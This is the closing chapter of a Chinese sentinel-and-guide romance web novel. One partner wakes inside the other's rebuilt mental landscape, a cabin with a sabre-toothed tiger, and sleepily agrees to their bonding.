闻璱没有推拒,利落地趴在弓铮皎背上。 ……这头发确实该洗了。 他突然想起什么,偏过脸道:“对了,你的精神图景怎么样了?” 弓铮皎被问得一愣,似乎在那之后连他自己都还没有尝试过进入精神图景,闻言连忙临时感受了一下,思索道:“阿咬很喜欢,一直在舔什么东西。” 大概是那个鱼缸。 闻璱回想起弓铮皎曾经对“阿咬”这个名字的介绍,以及阿咬最近以来的表现……觉得阿咬可以考虑改名叫阿舔。 他没有真的把这话说出来,只是温声道:“到家让我看看。” “好。” 可惜才刚到家,冲过澡,还在用毛巾擦头发的时候,闻璱就昏睡过去了。 弓铮皎洗漱完进屋找他时,发现他手上还套着忘记摘下的浴帽——受伤的手不能沾水,在包扎的外面又被套上一层浴帽防水,为了不撑破,闻璱只能一直握拳。 这只拳头被舒展、重新上药、包扎,还在手背上打了一个蝴蝶结。 “小鹅……” 他把闻璱抱上床,一边用毛巾沾闻璱发丝上的水珠,一边低头虔诚地吻过闻璱鼻尖。 那道玻璃碎片划出的红痕太小,甚至不用怎么处理,闻璱大概也没有注意到过。 可弓铮皎怎么会发现不了。 重建图景的那段时间里,他将这张脸重新描摹过千万遍。 这道小小的伤彷佛就这样将他的人生割开成两段,后一段就这样绑在闻璱的生命里。 此前是表面盛大又奢华,推开却只有一小小一间房的城堡庄园。 至此以后,是被闻璱创建起来,共同属于闻璱的……。 从长睡中苏醒,闻璱第一眼看到的不是家里的房间,而是一个陌生而又熟悉的小木屋。 窗外一片绿意盎然,有风声、树叶簌簌声、鸟鸣蝉鸣,却很清凉。 屋里一应俱全,普通又不普通。 普通在多数陈设似乎都很熟悉,像闻璱见多了用惯了的东西。 不普通在床边的游戏机、电视柜旁累成一摞的卡带、墙上贴着的钻石画……这些不是闻璱的喜好。 他坐起身,还有些没睡醒的恍惚,视线正好与床头柜上的鱼缸平齐。 现在,那里面没有鱼。 只有一巨大的刃齿虎脑袋,自窗外探进来,用舌头卷鱼缸里的水喝。 鱼缸那么小,虎头那么大,水却怎么也喝不完。 见闻璱醒来,虎虎头立刻把舌头拔出鱼缸,要过来舔闻璱。动作时,闻璱都担心它险些把这小小的木屋晃倒,连忙伸手摸了摸大猫胡须。 顺着虎脑袋,闻璱看向窗外—— 无边无际的黑暗里,弓铮皎坐在檐下,正在削木头,脚边的水池是屋外唯一一部分存在的颜色,正在一点一点向外铺开。 “你在干什么?” “做个遮光蓬,你妈妈教过我。”弓铮皎手上不停,“虽然这里还没有光……但以后会有的。我打算以后在这里种水培荔枝,这个高度长起来,刚好到窗边,以后一眼望出去一定很漂亮。” “这是你的新精神图景?为什么我不自觉地就进来了?”闻璱惊讶地四处打量。 “是我的精神图景没错,但是是你帮我重建的,所以它当然也属于你。”弓铮皎却对此接受良好。 这话说得怎么听怎么不像是对精神图景的描述,反而像是向导与哨兵结合之后的那个只属于彼此“频道”。 闻璱一怔,竟然罕见地有些怀疑自己:“我们还没结合吧……?” “但我已经属于你,属于这个频道了,我家阿咬的坐标就是你,以后永远都无法更改。”弓铮皎一如既往地顺杆爬,“所以结合吗?” 他还把尾巴伸进来搔扰,彷佛一切就绪,只等闻璱点头。 闻璱:“……” 闻璱:“困,我要再睡一觉,然后等你把水池种完。” 他看着弓铮皎亮晶晶的期冀眼神,最终还是给了一句肯定回答:“然后……嗯。” --正文完-